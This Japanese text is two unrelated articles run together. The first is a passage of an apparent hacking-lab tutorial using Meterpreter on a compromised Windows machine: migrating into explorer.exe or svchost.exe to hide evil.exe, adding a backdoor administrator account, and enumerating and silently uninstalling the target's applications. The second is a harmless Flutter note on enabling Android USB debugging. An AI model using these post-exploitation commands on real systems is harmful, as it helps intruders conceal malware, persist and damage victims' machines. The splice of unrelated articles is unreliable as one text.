psコマンドで調べたPIDをmigrateコマンドに指定します。
ただし、現在の権限以下のものを指定しないとエラーになります。
ここでは、explorer.exeを指定します。

```:meterpreter
> migrate explorer.exeのPID
```

migrateコマンドを実行すると、タスクマネージャーのProcessタブからevil.exeが消えます。

また、UAC機能をバイパスするモジュールを使用している場合、Processタブにはアルファベットの大文字小文字が混在した名前のexeファイルが表示されます。

これも隠蔽化します。
svchost.exeのPIDを指定し、migrateコマンドを実行すると、隠蔽化できます。

```:meterpreter
> migrate svchost.exeのPID
```



## ユーザーの追加、編集、削除
ここではターゲット端末にユーザーを追加、編集、削除します。

事前にリバースシェル接続し、SYSTEM権限を奪取しておきます。

最初にコマンドプロンプトを立ち上げます。

```:meterpreter
> shell
```

元の状態は以下のようになっています。
<img width="600" alt="hacking-lab-part8-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/6bef9fe0-900a-49e3-725a-dfe168d06b2c.jpeg">

testというユーザーを追加します。

```:meterpreter
> net user test/add
```

<img width="600" alt="hacking-lab-part8-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/a815aff3-e9cb-f913-1c9b-4eed9db79758.jpeg">

次にパスワードを変更（ここでは1234）し、管理者権限を与えます。

```:meterpreter
> net user test 1234
> net localgroup administrators test /add
```

<img width="600" alt="hacking-lab-part8-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/fb344011-cd1f-9727-ac2c-55d836ed33ba.jpeg">

ユーザーの削除は以下のようにします。

```:meterpreter
> net user test /delete
```



## アプリのアンインストール
ここではターゲット端末からアプリをアンインストールする方法を学んでいきます。

事前にリバースシェル接続し、SYSTEM権限を奪取しておきます。

インストール済みのアプリを表示するにはアプリ列挙モジュールを使用します。

```:msf5
> use post/windows/gather/enum_applications
> set SESSION 1
> run
```

他には、wmic product get nameコマンドを使う方法もあります。
コマンドプロンプトを立ち上げ、以下を実行します。

```:meterpreter
> wmic product get name, installLocation
```

上記のいずれかの方法でアンインストールしたいアプリ名を確認した後、以下のコマンドを実行すればアプリをアンインストールできます。

```:meterpreter
> wmic product where name="アプリ名" call uninstall /nointeractive
```
FlutterでAndroidの実機を認識させられなかった話

# はじめに
大体タイトル通りです。

VSCodeを使ってFlutterでアプリ開発するぞ！　Androidの仮想環境で動かすと重くなるし、使ってるスマホがAndroidだから実機でデバッグしよ。……あれ、デバイス認識されない。

みたいな感じで1時間くらい時間を無駄にしたので、Qiitaに記事を残します。
私の環境はVSCodeでしたが、Android Studioでも同じことをしなければ認識しないと思います。

# 実機側の設定の問題だった
もし、右下の画像赤丸部分に使いたいデバイス名が表示されていなくて、認識できないような問題であれば、同じ部分で詰まっているのかもしれません。
![キャプチャ.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1560787/7b3fbd3e-5c5c-c1c5-d11a-2d05ad4b2fee.jpeg)

# ステップ1　開発者になる
1. Androidの設定を開く。
1. [システム] > [端末情報] > [ビルド番号]を見つける。
    1. バージョンによっても少し違う気がするので、ビルド番号を見つけられない時は[「デバイスの開発者向けオプションを設定する」](https://developer.android.com/studio/debug/dev-options?hl=ja)も参考にしてください。
1. ビルド番号を7回タップする
1. 「開発者になるまであと〇ステップです」のカウントダウンが終われば、「これで開発者になりました！」というトーストが表示される。

# ステップ2　USBデバッグをオンにする
1. ビルド番号が表示されている画面から、[システム]に戻ると、今までは無かった[開発者向けオプション]が表示されている。
1. [開発者向けオプション] > [デバッグ] > [USBデバッグ]をONにする。
![_20210813_180956[1].JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1560787/e1cd0748-7b42-dc2a-d83e-c6b9ba12666a.jpeg)

# おわりに
以上で、デバイスが認識されるはずです。

私は数年前、KotlinでAndroidアプリを少しだけ開発していましたが、本当に少しだったので、開発者ツールをONにしなければならないのは覚えていて、USBデバッグをONにしなければならないのは忘れていたので詰まりました。